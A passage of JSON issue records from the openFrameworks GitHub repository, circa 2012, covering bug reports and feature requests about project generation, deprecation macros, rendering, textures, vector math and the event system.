difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal 